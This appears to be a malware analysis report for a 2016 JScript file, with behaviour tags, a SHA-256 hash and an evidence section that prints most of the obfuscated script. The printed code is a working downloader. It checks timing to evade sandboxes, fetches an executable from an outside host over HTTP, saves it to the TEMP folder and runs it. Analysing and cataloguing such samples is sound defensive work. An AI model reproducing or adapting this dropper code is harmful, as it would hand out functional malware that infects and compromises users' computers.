20160328_fe8e45c0c0028a0bee25a8c4da8bec6d.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25622b5ed31ff2ea351e338f211751a028a0c2ef166cdc3e7ef25f073af5a303412
Evidence
1var Fjvtpmroxv = false;
2var Chjfa = "CreateObject";
3var Hdezp = function Bazcenlmn() {return WScript[Chjfa]("WScript.Shell");}();
4var Lzoeeqnz = 123213;
5var Pgdxtqjmh = "MSXML2.XMLHTTP";
6var Ppaswt = 2123213;
7var Smolcelyzp = 0;
8function Bvjxxxkdw(Xzjyibj){Hdezp["Run"](Xzjyibj, Smolcelyzp, Smolcelyzp);};
9function Xnxifocp(){return Pgdxtqjmh;};
10function Mubmgmto(Ccbbqdt, Ugwdbk){return Ccbbqdt - Ugwdbk;};
11function Gjnxucvh(){return Chjfa;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Fjvtpmroxv = true;
15 @end
⋯6 lines
22function Maira()
23{
24var Nhscak = new this["Date"]();
25var Urxvjwev = Nhscak["getUTCMilliseconds"]();
26WScript["Sleep"](Irpdg());
27var Nhscak = new this["Date"]();
28var Lcdbort = Nhscak["getUTCMilliseconds"]();
⋯6 lines
37:35… );
38}
39var Shmpl = false;
40var Sbeaqyt = false;
41for (var Adzsvcwbu = Smolcelyzp; Adzsvcwbu < Irpdg() * 1; Adzsvcwbu++){if (Maira() != Smolcelyzp){
42S …
48:86…
49if (Shmpl && Oggig() && Sbeaqyt){
50function Hgeytmkp() {return Hdezp["ExpandEnvironmentStrings"]("%TEMP%/") + "ael5IgF9Q9h.exe";};
51 Dtmepzr = Xnxifocp();
52 Pwokpe = WScript[Chjfa](Dtmepzr);
53 var Ufizwqs = 1;
54 while (Ufizwqs){
55try {
56Pwokpe[Iceiavxbns]("GET", "http://finnskogen-oppvekstsenter.com/o4paka", false);
57Pwokpe["send"]();
58Vtysselany = "Sleep";
59do {WScript[Vtysselany](Irpdg() * 11)} while (Pwokpe["readystate"] < 4 );
60Ufizwqs = Smolcelyzp;
61} catch(Yyhoxjm){Ufizwqs = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Iucgzssrd(Uyfkreij) {var Gazzvhqju = (1, 2, 3, 4, 5, Uyfkreij); return Gazzvhqju;};
64Fqvlpvjc = WScript[Gjnxucvh()]("ADODB.Stream");
65Dtmepzr = Fqvlpvjc;
66Dtmepzr[Iceiavxbns]();
67Dtmepzr["type"] = Iucgzssrd(1);
68Dtmepzr["write"](Pwokpe["ResponseBody"]);
69Fqvlpvjc["position"] = Iucgzssrd(Smolcelyzp);
70Dtmepzr["SaveToFile"](Hgeytmkp(), Iucgzssrd(2) );
71Fqvlpvjc["close"]();
72Bvjxxxkdw(Hgeytmkp());
73}
74}
75